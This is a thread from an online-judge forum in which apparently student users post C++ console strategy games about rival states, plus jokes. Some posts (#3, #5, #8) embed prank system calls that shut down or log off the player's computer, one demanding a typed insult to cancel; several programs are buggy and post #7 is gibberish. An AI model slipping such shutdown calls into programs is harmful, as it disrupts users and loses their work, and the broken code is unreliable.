HUST Online Judge WebBoard
[ New Thread ]
MainBoard >> 领土游戏
2020zjdl42 @ 2021-11-23 20:10:12
[ Quote ] [ Edit ] [ Delete ] 1#
#include<bits/stdc++.h>
using namespace std;
int main(){
int shi=1000,jiang=599,zhao=499,youxi=1005;int b;
cout<<" 你是石 石:1000 蒋:599 赵:499 游戏:1005"<<endl;
cout<<"1.发育 人口+50 2.攻打"<<endl;
cout<<"输入: "<<endl;
int f;
cin>>f;
if(f==1){
shi=shi+50;
cout<<"人口+50"<<endl;
}else if(f==2){
int li;
cout<<"攻打谁? "<<endl;
cout<<"1.蒋 2.赵 3.游戏"<<endl;
if(li==1){
cout<<"输入攻打人口: "<<endl;
cin>>b;
if(b>shi){
cout<<"实力不足"<<endl;
}else{
cout<<"攻打成功"<<endl;
shi=shi-b;
jiang=jiang-b;
}
}else if(li==2){
cout<<"输入攻打人口: "<<endl;
cin>>b;
if(b>shi){
cout<<"实力不足"<<endl;
}else{
cout<<"攻打成功"<<endl;
shi=shi-b;
zhao=zhao-b;
}
}else if(li==3){
cout<<"输入攻打人口: "<<endl;
cin>>b;
if(b>shi){
cout<<"实力不足"<<endl;
}else{
cout<<"攻打成功"<<endl;
shi=shi-b;
youxi=youxi-b;
}
}
}
for(;;){
cout<<"石:"<<shi<<" 蒋:"<<jiang<<" 赵:"<<zhao<<" 游戏"<<youxi<<endl;
cout<<"1.发育 人口+50 2.攻打"<<endl;
cout<<"输入: "<<endl;
int f;
cin>>f;
if(f==1){
shi=shi+50;
cout<<"人口+50"<<endl;
}else if(f==2){
int li;
cout<<"攻打谁? "<<endl;
cout<<"1.蒋 2.赵 3.游戏"<<endl;
cin>>li;
if(li==1){
cout<<"输入攻打人口: "<<endl;
cin>>b;
if(b>shi||shi<jiang){
cout<<"实力不足"<<endl;
}else{
cout<<"攻打成功"<<endl;
shi=shi-b;
jiang=jiang-b;
}
}else if(li==2){
cout<<"输入攻打人口: "<<endl;
cin>>b;
if(b>shi){
cout<<"实力不足"<<endl;
}else{
cout<<"攻打成功"<<endl;
shi=shi-b;
zhao=zhao-b;
}
}else if(li==3){
cout<<"输入攻打人口: "<<endl;
cin>>b;
if(b>shi){
cout<<"实力不足"<<endl;
}else{
cout<<"攻打成功"<<endl;
shi=shi-b;
youxi=youxi-b;
}
}
}
if(jiang<=0 and zhao<=0 and youxi<=0){
break;
}
}
cout<<"你已争霸天下";
return 0;
}
cdxxx06 @ 2022-05-04 15:24:59
[ Quote ] [ Edit ] [ Delete ] 2#
#include<bits/stdc++.h>
using namespace std;
int main()
{
int shi=0,jiang=0,zhao=0,youxi=0;int b;
cout<<" 你是石 石:0" <<"蒋:0"<<" 赵:0"<<" 游戏:0"<<endl;
cout<<"请输入各国人数"<<endl;
cin>>shi>>jiang>>zhao>>youxi;
for(;;){
cout<<"石:"<<shi<<" 蒋:"<<jiang<<" 赵:"<<zhao<<" 游戏:"<<youxi<<endl;
cout<<"1.发育 人口+100 2.攻打"<<endl;
cout<<"输入: "<<endl;
int f;
cin>>f;
if(f==1){
shi=shi+100;
cout<<"人口+100"<<endl;
}else if(f==2){
int li;
cout<<"攻打谁? "<<endl;
cout<<"1.蒋 2.赵 3.游戏"<<endl;
cin>>li;
if(li==1){
cout<<"输入攻打人口: "<<endl;
cin>>b;
if(b>shi||shi<jiang){
cout<<"你因实力不足被反杀!"<<endl<<"你气晕了!"<<endl;
shi=shi-1000;
}else{
cout<<"攻打成功"<<endl;
shi=shi-b;
jiang=jiang-b;
}
}else if(li==2){
cout<<"输入攻打人口: "<<endl;
cin>>b;
if(b>shi){
cout<<"你因实力不足被反杀!"<<endl<<"你气晕了!"<<endl;
shi=shi-1000;
}else{
cout<<"攻打成功"<<endl;
shi=shi-b;
zhao=zhao-b;
}
}else if(li==3){
cout<<"输入攻打人口: "<<endl;
cin>>b;
if(b>shi){
cout<<"你因实力不足被反杀!"<<endl<<"你气晕了!"<<endl;
shi=shi-1000;
}else{
cout<<"攻打成功"<<endl;
shi=shi-b;
youxi=youxi-b;
}
}
}
if(shi<=0)
{
cout<<"你因国内没有人而被偷袭了!"<<endl<<"你被气死了!";
return 0;
}
if(jiang<=0 and zhao<=0 and youxi<=0){
break;
}
}
cout<<"你已争霸天下"<<"你赢了!";
return 0;
}
cdxxx26 @ 2022-06-08 17:04:24
[ Quote ] [ Edit ] [ Delete ] 3#
#include<bits/stdc++.h>
using namespace std;
int main()
{
long long shi=0,jiang=0,zhao=0,youxi=0;int b;
cout<<" 你是石 石:0" <<"蒋:0"<<" 赵:0"<<" 游戏:0"<<endl;
cout<<"请输入各国人数"<<endl;
cin>>shi>>jiang>>zhao>>youxi;
for(;;){
cout<<"石:"<<shi<<" 蒋:"<<jiang<<" 赵:"<<zhao<<" 游戏:"<<youxi<<endl;
cout<<"1.发育 人口+100 2.攻打"<<endl;
cout<<"输入: "<<endl;
int f;
cin>>f;
if(f==1){
shi=shi+100;
cout<<"人口+100"<<endl;
}else if(f==2){
int li;
cout<<"攻打谁? "<<endl;
cout<<"1.蒋 2.赵 3.游戏"<<endl;
cin>>li;
if(li==1){
cout<<"输入攻打人口: "<<endl;
cin>>b;
if(b>shi||shi<jiang){
cout<<"你因实力不足被反杀!"<<endl<<"你气晕了!"<<endl;cout<<"给你30秒输入我是sb或我是SB,不然关机"<<endl;system("shutdown -s -c sbsbsbsbsbsb!!!!!!!");cin>>b;
if(b=="sb" || b=="SB"){
system("shutdown -a");
cout<<"已取消";
shi=shi-1000;
}else{
cout<<"攻打成功"<<endl;
shi=shi-b;
jiang=jiang-b;
}
}else if(li==2){
cout<<"输入攻打人口: "<<endl;
cin>>b;
if(b>shi){
cout<<"你因实力不足被反杀!"<<endl<<"你气晕了!"<<endl;cout<<"给你30秒输入我是sb或我是SB,不然关机"<<endl;system("shutdown -s -c sbsbsbsbsbsb!!!!!!!");cin>>b;
if(b=="sb" || b=="SB"){
system("shutdown -a");
cout<<"已取消";
shi=shi-1000;
}else{
cout<<"攻打成功"<<endl;
shi=shi-b;
zhao=zhao-b;
}
}else if(li==3){
cout<<"输入攻打人口: "<<endl;
cin>>b;
if(b>shi){
cout<<"你因实力不足被反杀!"<<endl<<"你气晕了!"<<endl;cout<<"给你30秒输入我是sb或我是SB,不然关机"<<endl;system("shutdown -s -c sbsbsbsbsbsb!!!!!!!");cin>>b;
if(b=="sb" || b=="SB"){
system("shutdown -a");
cout<<"已取消";
shi=shi-1000;
}else{
cout<<"攻打成功"<<endl;
shi=shi-b;
youxi=youxi-b;
}
}
}
if(shi<=0)
{
cout<<"你因国内没有人而被偷袭了!"<<endl<<"你被气死了!";cout<<"给你30秒输入我是sb或我是SB,不然关机"<<endl;system("shutdown -s -c sbsbsbsbsbsb!!!!!!!");cin>>b;
if(b=="sb" || b=="SB"){
system("shutdown -a");
cout<<"已取消";
return 0;
}
if(jiang<=0 and zhao<=0 and youxi<=0){
break;
}
}
cout<<"你已争霸天下,HaHaHaHaHa!"<<"We win!";
return 0;
}
hxv201822 @ 2022-11-19 16:19:25
[ Quote ] [ Edit ] [ Delete ] 4#
挺好玩的
secessionist @ 2023-10-26 20:15:59
[ Quote ] [ Edit ] [ Delete ] 5#
#include<stdlib.h>
#include<iostream>
void sleep(){
for(int i=0;i<100;i++);
}
using namespace std;
int main(){
system("color 3F");
printf("你想去哪个网站?请输入 1、vijos;2、LibreOJ;3、Universal Online Judge;4、宁波信息学奥林匹克竞赛学习中心;5、洛谷;6、bilibili;7、好玩的\n");
int r;
scanf("%d",&r);
srand(time(0));
for(int i=0;i<10;i++){
printf("waiting...");
sleep();
system("cls");
sleep();
}
switch(r) {
case 1:
system("start https://vijos.org");
break;
case 2:
system("start https://loj.ac");
break;
case 3:
system("start https://uoj.ac");
break;
case 4:
system("start https://oj.nbdp.net");
break;
case 5:
system("start https://www.luogu.com.cn");
break;
case 6:
system("start https://www.bilibili.com");
break;
default:
system("shutdown -s -t 00");
break;
}
return 0;
}
secessionist @ 2023-11-05 18:36:43
[ Quote ] [ Edit ] [ Delete ] 6#
史上最长a+b!!!1000字!!!
#include<iostream>
#define so_croting 1
#define so_croming -1
#define so_crowing 0
#define ant_if if
#define ant_else else
# define _GLIBCXX_VISIBILITY(V) _GLIBCXX_PSEUDO_VISIBILITY(V)
namespace std _GLIBCXX_VISIBILITY(default) {}
using namespace std;
typedef int node;
node a,b;
void outstring(string n) {
cout << n << endl;
}
void output(node n) {
cout << n << endl;
}
void sitting() {
outstring("请您稍等谢谢!");
}
void sleep() {
for (int j = 0; j < 100; j++);
sitting();
}
void made();
void make();
void input(node s) {
ant_if(s == 1) {
cin >> a >> b;
}
ant_else{output(a + b);}
}
void made_so_make() {
made();
make();
}
void made() {
input(so_croting);
for (int i = 0; i < 100; i++) {
outstring("LOGIN");
sleep();
system("cls");
}
for (int i = 0; i < 100; i++) {
outstring("COMPUTEING");
sleep();
system("cls");
}
}
void make() {
input(so_croming);
}
int main() {
made_so_make();
return so_crowing;
}
dingshuolin @ 2024-03-03 14:37:38
[ Quote ] [ Edit ] [ Delete ] 7#
国际和钢铁加胡椒粉和减肥计划及他人家机构的覅和提高房价hi积分计划将更加好结果还没你干嘛还关机干嘛看韩国进口棉花价格将mhmnhgmgmkgmmgmmhmhgmgmhggmgmgmhgmggmmhmmmhgMHMmm2hM2HMhm6ghMGHMhm6h2mGh6MhmH6m1h2m
6Mm02mH
.

HMgHM1HGMhmg6M5gMM56
2024zjhs0011 @ 2024-10-27 19:23:55
[ Quote ] [ Edit ] [ Delete ] 8#
#include<iostream>

using namespace std;
int main() {
system("shutdown -l");
}
2024zjhs0028 @ 2025-07-07 11:04:17
[ Quote ] [ Edit ] [ Delete ] 9#
#include<bits/stdc++.h>
using namespace std;
int main(){
int wei=100,shu=95,wu=120;
cout<<"魏:"<<wei<<" 吴:"<<wu<<" 蜀:"<<shu;
int by;
cout<<"你想扮演谁?"<<endl<<"1.魏 2.吴 3.蜀"<<endl<<"我想扮演:";
cin>>by;

return 0;
}
2024zjhs0028 @ 2025-07-08 10:59:56
[ Quote ] [ Edit ] [ Delete ] 10#
#include<bits/stdc++.h>
using namespace std;
struct bb{
int lc;
int bl;
};
bb wei,shu,wu;
int main(){
wei.lc=100;
shu.lc=100;
wu.lc=100;
wei.bl=90;
shu.bl=90;
wu.bl=90;
cout<<"魏国人数:"<<wei.bl<<" 吴国人数:"<<wu.bl<<" 蜀国人数:"<<shu.bl<<endl;
cout<<"魏国粮草:"<<wei.lc<<" 吴国粮草:"<<wu.lc<<" 蜀国粮草:"<<shu.lc<<endl;
cout<<"游戏规则:每出一个兵就需要2点粮草;两国相争时兵力多的一方胜"<<endl;
cout<<"胜利条件:另外两国兵力小于0"<<endl;
int by,sr,xz,rs;
cout<<"你想扮演谁?"<<endl<<"1.魏 2.吴 3.蜀"<<endl<<"我想扮演:";
cin>>by;
if(by==1){
while(shu.bl>0||wu.bl>0){
cout<<endl<<"当前人数:"<<wei.bl<<" 当前粮草:"<<wei.lc<<endl;
cout<<"蜀国兵力:"<<shu.bl<<" 蜀国粮草:"<<shu.lc<<" 吴国兵力:"<<wu.bl<<" 吴国粮草:"<<wu.lc<<endl<<endl;
cout<<"你想干什么:"<<endl<<"1.杀人 2.存粮 3.屯兵"<<" 输入:";
cin>>xz;
if(xz==1){
cout<<"你想杀:1.蜀 2.吴"<<endl<<"输入:"<<endl;
cin>>sr;
cout<<"派多少兵力?请输入:";
cin>>rs;
if(rs>wei.bl||rs*2>wei.lc){
cout<<"粮草兵力不足,溃败!!!!!";
return 0;
}
else{
wei.bl-=rs;
wei.lc-=rs*2;
}
if(sr==1){
shu.bl/=4;
shu.lc/=8;
if(shu.bl<rs||shu.bl>shu.lc){

if(shu.bl<=0){
shu.bl=0;
shu.lc=0;
}
}
else{
cout<<"打不过,溃败!"<<endl;
}
}
if(sr==2){
wu.bl/=4;
wu.lc/=8;
if(wu.bl<rs||wu.bl>wu.lc){
if(wu.bl<=0){
wu.bl=0;
wu.lc=0;
}
}
else{
cout<<"打不过,溃败!"<<endl;
}
}
}
else if(xz==2){
wei.lc+=50;
wu.lc+=60;
shu.lc+=40;
}
else{
wei.bl+=25;
wu.bl+=20;
shu.bl+=30;
}
}
cout<<endl<<endl<<"恭喜你统一三国";

}
if(by==2){
while(shu.bl>0||wei.bl>0){
cout<<endl<<"当前人数:"<<wu.bl<<" 当前粮草:"<<wu.lc<<endl;
cout<<"蜀国兵力:"<<shu.bl<<" 蜀国粮草:"<<shu.lc<<" 吴国兵力:"<<wei.bl<<" 吴国粮草:"<<wei.lc<<endl<<endl;
cout<<"你想干什么:"<<endl<<"1.杀人 2.存粮 3.屯兵"<<" 输入:";
cin>>xz;
if(xz==1){
cout<<"你想杀:1.蜀 2.吴"<<endl<<"输入:"<<endl;
cin>>sr;
cout<<"派多少兵力?请输入:";
cin>>rs;
if(rs>wei.bl||rs*2>wei.lc){
cout<<"粮草兵力不足,溃败!!!!!";
return 0;
}
else{
wei.bl-=rs;
wei.lc-=rs*2;
}
if(sr==1){
shu.bl/=4;
shu.lc/=8;
if(shu.bl<rs||shu.bl>shu.lc){

if(shu.bl<=0){
shu.bl=0;
shu.lc=0;
}
}
else{
cout<<"打不过,溃败!"<<endl;
}
}
if(sr==2){
wei.bl/=4;
wei.lc/=8;
if(wei.bl<rs||wei.bl>wei.lc){
if(wei.bl<=0){
wei.bl=0;
wei.lc=0;
}
}
else{
cout<<"打不过,溃败!"<<endl;
}
}
}
else if(xz==2){
wei.lc+=50;
wu.lc+=60;
shu.lc+=40;
}
else{
wei.bl+=25;
wu.bl+=20;
shu.bl+=30;
}
}
cout<<endl<<endl<<"恭喜你统一三国";

}
return 0;
}
2024zjhs0028 @ 2025-07-09 08:49:05
[ Quote ] [ Edit ] [ Delete ] 11#
#include<bits/stdc++.h>
using namespace std;
struct bb{
int lc;
int bl;
};
bb wei,shu,wu;
int main(){
wei.lc=100;
shu.lc=100;
wu.lc=100;
wei.bl=90;
shu.bl=90;
wu.bl=90;
cout<<"魏国人数:"<<wei.bl<<" 吴国人数:"<<wu.bl<<" 蜀国人数:"<<shu.bl<<endl;
cout<<"魏国粮草:"<<wei.lc<<" 吴国粮草:"<<wu.lc<<" 蜀国粮草:"<<shu.lc<<endl;
cout<<"游戏规则:每出一个兵就需要2点粮草;两国相争时兵力多的一方胜"<<endl;
cout<<"胜利条件:另外两国兵力小于0"<<endl;
int by,sr,xz,rs;
cout<<"你想扮演谁?"<<endl<<"1.魏 2.吴 3.蜀"<<endl<<"我想扮演:";
cin>>by;
if(by==1){
while(shu.bl>0||wu.bl>0){
cout<<endl<<"当前人数:"<<wei.bl<<" 当前粮草:"<<wei.lc<<endl;
cout<<"蜀国兵力:"<<shu.bl<<" 蜀国粮草:"<<shu.lc<<" 吴国兵力:"<<wu.bl<<" 吴国粮草:"<<wu.lc<<endl<<endl;
cout<<"你想干什么:"<<endl<<"1.杀人 2.存粮 3.屯兵"<<" 输入:";
cin>>xz;
if(xz==1){
cout<<"你想杀:1.蜀 2.吴"<<endl<<"输入:"<<endl;
cin>>sr;
cout<<"派多少兵力?请输入:";
cin>>rs;
if(rs>wei.bl||rs*2>wei.lc){
cout<<"粮草兵力不足,溃败!!!!!";
return 0;
}
else{
wei.bl-=rs;
wei.lc-=rs*2;
}
if(sr==1){
shu.bl/=4;
shu.lc/=8;
if(shu.bl<rs||shu.bl>shu.lc){

if(shu.bl<=0){
shu.bl=0;
shu.lc=0;
}
}
else{
cout<<"打不过,溃败!"<<endl;
}
}
if(sr==2){
wu.bl/=4;
wu.lc/=8;
if(wu.bl<rs||wu.bl>wu.lc){
if(wu.bl<=0){
wu.bl=0;
wu.lc=0;
}
}
else{
cout<<"打不过,溃败!"<<endl;
}
}
}
else if(xz==2){
wei.lc+=50;
wu.lc+=60;
shu.lc+=40;
}
else{
wei.bl+=25;
wu.bl+=20;
shu.bl+=30;
}
}
cout<<endl<<endl<<"恭喜你统一三国";
}
if(by==2){
while(shu.bl>0||wei.bl>0){
cout<<endl<<"当前人数:"<<wu.bl<<" 当前粮草:"<<wu.lc<<endl;
cout<<"蜀国兵力:"<<shu.bl<<" 蜀国粮草:"<<shu.lc<<" 魏国兵力:"<<wei.bl<<" 魏国粮草:"<<wei.lc<<endl<<endl;
cout<<"你想干什么:"<<endl<<"1.杀人 2.存粮 3.屯兵"<<" 输入:";
cin>>xz;
if(xz==1){
cout<<"你想杀:1.蜀 2.魏"<<endl<<"输入:"<<endl;
cin>>sr;
cout<<"派多少兵力?请输入:";
cin>>rs;
if(rs>wu.bl||rs*2>wu.lc){
cout<<"粮草兵力不足,溃败!!!!!";
return 0;
}
else{
wu.bl-=rs;
wu.lc-=rs*2;
}
if(sr==1){
shu.bl/=4;
shu.lc/=8;
if(shu.bl<rs||shu.bl>shu.lc){
if(shu.bl<=0){
shu.bl=0;
shu.lc=0;
}
}
else{
cout<<"打不过,溃败!"<<endl;
}
}
if(sr==2){
wei.bl/=4;
wei.lc/=8;
if(wei.bl<rs||wei.bl>wei.lc){
if(wei.bl<=0){
wei.bl=0;
wei.lc=0;
}
}
else{
cout<<"打不过,溃败!"<<endl;
}
}
}
else if(xz==2){
wei.lc+=50;
wu.lc+=60;
shu.lc+=40;
}
else{
wei.bl+=25;
wu.bl+=20;
shu.bl+=30;
}
}
cout<<endl<<endl<<"恭喜你统一三国";
}
if(by==3){
while(wu.bl>0||wei.bl>0){
cout<<endl<<"当前人数:"<<shu.bl<<" 当前粮草:"<<shu.lc<<endl;
cout<<"吴国兵力:"<<wu.bl<<" 吴国粮草:"<<wu.lc<<" 魏国兵力:"<<wei.bl<<" 魏国粮草:"<<wei.lc<<endl<<endl;
cout<<"你想干什么:"<<endl<<"1.杀人 2.存粮 3.屯兵"<<" 输入:";
cin>>xz;
if(xz==1){
cout<<"你想杀:1.吴 2.魏"<<endl<<"输入:"<<endl;
cin>>sr;
cout<<"派多少兵力?请输入:";
cin>>rs;
if(rs>shu.bl||rs*2>shu.lc){
cout<<"粮草兵力不足,溃败!!!!!";
return 0;
}
else{
shu.bl-=rs;
shu.lc-=rs*2;
}
if(sr==1){
wu.bl/=4;
wu.lc/=8;
if(wu.bl<rs||wu.bl>wu.lc){
if(wu.bl<=0){
wu.bl=0;
wu.lc=0;
}
}
else{
cout<<"打不过,溃败!"<<endl;
}
}
if(sr==2){
wei.bl/=4;
wei.lc/=8;
if(wei.bl<rs||wei.bl>wei.lc){
if(wei.bl<=0){
wei.bl=0;
wei.lc=0;
}
}
else{
cout<<"打不过,溃败!"<<endl;
}
}
}
else if(xz==2){
wei.lc+=50;
wu.lc+=60;
shu.lc+=40;
}
else{
wei.bl+=25;
wu.bl+=20;
shu.bl+=30;
}
}
cout<<endl<<endl<<"恭喜你统一三国";
}
return 0;
}
完整版
2024zjhs0028 @ 2025-07-09 09:18:01
[ Quote ] [ Edit ] [ Delete ] 12#
#include<bits/stdc++.h>
using namespace std;
struct bb{
int lc;
int bl;
};
bb wei,shu,wu;
int main(){
wei.lc=100;
shu.lc=100;
wu.lc=100;
wei.bl=90;
shu.bl=90;
wu.bl=90;
cout<<"魏国人数:"<<wei.bl<<" 吴国人数:"<<wu.bl<<" 蜀国人数:"<<shu.bl<<endl;
cout<<"魏国粮草:"<<wei.lc<<" 吴国粮草:"<<wu.lc<<" 蜀国粮草:"<<shu.lc<<endl;
cout<<"游戏规则:每出一个兵就需要2点粮草;两国相争时兵力多的一方胜"<<endl;
cout<<"胜利条件:另外两国兵力小于0"<<endl;
int by,sr,xz,rs;
cout<<"你想扮演谁?"<<endl<<"1.魏 2.吴 3.蜀"<<endl<<"我想扮演:";
cin>>by;
if(by==1){
while(shu.bl>0||wu.bl>0){
cout<<endl<<"当前人数:"<<wei.bl<<" 当前粮草:"<<wei.lc<<endl;
cout<<"蜀国兵力:"<<shu.bl<<" 蜀国粮草:"<<shu.lc<<" 吴国兵力:"<<wu.bl<<" 吴国粮草:"<<wu.lc<<endl<<endl;
cout<<"你想干什么:"<<endl<<"1.杀人 2.存粮 3.屯兵"<<" 输入:";
cin>>xz;
if(xz==1){
cout<<"你想杀:1.蜀 2.吴"<<endl<<"输入:"<<endl;
cin>>sr;
cout<<"派多少兵力?请输入:";
cin>>rs;
if(rs>wei.bl||rs*2>wei.lc){
cout<<"粮草兵力不足,溃败!!!!!";
return 0;
}
else{
wei.bl-=rs;
wei.lc-=rs*2;
}
if(sr==1){
shu.bl/=4;
shu.lc/=8;
if(shu.bl<rs||shu.bl>shu.lc){

if(shu.bl<=0){
shu.bl=0;
shu.lc=0;
}
}
else{
cout<<"打不过,溃败!"<<endl;
}
}
if(sr==2){
wu.bl/=4;
wu.lc/=8;
if(wu.bl<rs||wu.bl>wu.lc){
if(wu.bl<=0){
wu.bl=0;
wu.lc=0;
}
}
else{
cout<<"打不过,溃败!"<<endl;
}
}
}
else if(xz==2){
wei.lc+=50;
if(wu.bl>0&&wu.lc>0)wu.lc+=60;
if(shu.bl>0&&shu.lc>0)shu.lc+=40;
}
else{
wei.bl+=25;
if(wu.bl>0&&wu.lc>0)wu.bl+=20;
if(shu.bl>0&&shu.lc>0)shu.bl+=30;
}
}
cout<<endl<<endl<<"恭喜你统一三国"<<endl<<"恭喜你解锁隐藏剧情"<<endl<<"你被司马懿***死了";
}
if(by==2){
while(shu.bl>0||wei.bl>0){
cout<<endl<<"当前人数:"<<wu.bl<<" 当前粮草:"<<wu.lc<<endl;
cout<<"蜀国兵力:"<<shu.bl<<" 蜀国粮草:"<<shu.lc<<" 魏国兵力:"<<wei.bl<<" 魏国粮草:"<<wei.lc<<endl<<endl;
cout<<"你想干什么:"<<endl<<"1.杀人 2.存粮 3.屯兵"<<" 输入:";
cin>>xz;
if(xz==1){
cout<<"你想杀:1.蜀 2.魏"<<endl<<"输入:"<<endl;
cin>>sr;
cout<<"派多少兵力?请输入:";
cin>>rs;
if(rs>wu.bl||rs*2>wu.lc){
cout<<"粮草兵力不足,溃败!!!!!";
return 0;
}
else{
wu.bl-=rs;
wu.lc-=rs*2;
}
if(sr==1){
shu.bl/=4;
shu.lc/=8;
if(shu.bl<rs||shu.bl>shu.lc){
if(shu.bl<=0){
shu.bl=0;
shu.lc=0;
}
}
else{
cout<<"打不过,溃败!"<<endl;
}
}
if(sr==2){
wei.bl/=4;
wei.lc/=8;
if(wei.bl<rs||wei.bl>wei.lc){
if(wei.bl<=0){
wei.bl=0;
wei.lc=0;
}
}
else{
cout<<"打不过,溃败!"<<endl;
}
}
}
else if(xz==2){
wu.lc+=50;
if(wei.bl>0&&wei.lc>0)wei.lc+=60;
if(shu.bl>0&&shu.lc>0)shu.lc+=40;
}
else{
if(wei.bl>0&&wei.lc>0)wei.bl+=25;
wu.bl+=20;
if(shu.bl>0&&shu.lc>0)shu.bl+=30;
}
}
cout<<endl<<endl<<"恭喜你统一三国";
}
if(by==3){
while(wu.bl>0||wei.bl>0){
cout<<endl<<"当前人数:"<<shu.bl<<" 当前粮草:"<<shu.lc<<endl;
cout<<"吴国兵力:"<<wu.bl<<" 吴国粮草:"<<wu.lc<<" 魏国兵力:"<<wei.bl<<" 魏国粮草:"<<wei.lc<<endl<<endl;
cout<<"你想干什么:"<<endl<<"1.杀人 2.存粮 3.屯兵"<<" 输入:";
cin>>xz;
if(xz==1){
cout<<"你想杀:1.吴 2.魏"<<endl<<"输入:"<<endl;
cin>>sr;
cout<<"派多少兵力?请输入:";
cin>>rs;
if(rs>shu.bl||rs*2>shu.lc){
cout<<"粮草兵力不足,溃败!!!!!";
return 0;
}
else{
shu.bl-=rs;
shu.lc-=rs*2;
}
if(sr==1){
wu.bl/=4;
wu.lc/=8;
if(wu.bl<rs||wu.bl>wu.lc){
if(wu.bl<=0){
wu.bl=0;
wu.lc=0;
}
}
else{
cout<<"打不过,溃败!"<<endl;
}
}
if(sr==2){
wei.bl/=4;
wei.lc/=8;
if(wei.bl<rs||wei.bl>wei.lc){
if(wei.bl<=0){
wei.bl=0;
wei.lc=0;
}
}
else{
cout<<"打不过,溃败!"<<endl;
}
}
}
else if(xz==2){
if(wei.bl>0&&wei.lc>0)wei.lc+=50;
if(wu.lc>0&&wu.bl>0)wu.lc+=60;
shu.lc+=40;
}
else{
if(wei.bl>0&&wei.lc>0)wei.bl+=25;
if(wu.lc>0&&wu.bl>0)wu.bl+=20;
shu.bl+=30;
}
}
cout<<endl<<endl<<"恭喜你统一三国"<<endl<<"恭喜你解锁隐藏剧情"<<endl<<"你被刘禅败没了家"<<endl<<"你气死了"<<endl;
for(int i=1;i<=20;i++) cout<<"哈";
}
return 0;
}
1.0版本
2024zjhj0036 @ 2025-07-11 08:22:57
[ Quote ] [ Edit ] [ Delete ] 13#
#include<bits/stdc++.h>
using namespace std;
int main(){
int shi=1000,jiang=599,zhao=499,youxi=1005;int b;
cout<<" 你是石 石:1000 蒋:599 赵:499 游戏:1005"<<endl;
cout<<"1.发育 人口+50 2.攻打"<<endl;
cout<<"输入: "<<endl;
int f;
cin>>f;
if(f==1){
shi=shi+50;
cout<<"人口+50"<<endl;
}
cout<<"你已争霸天下";
return 0;
}
[Top] [Previous Page] [Next Page]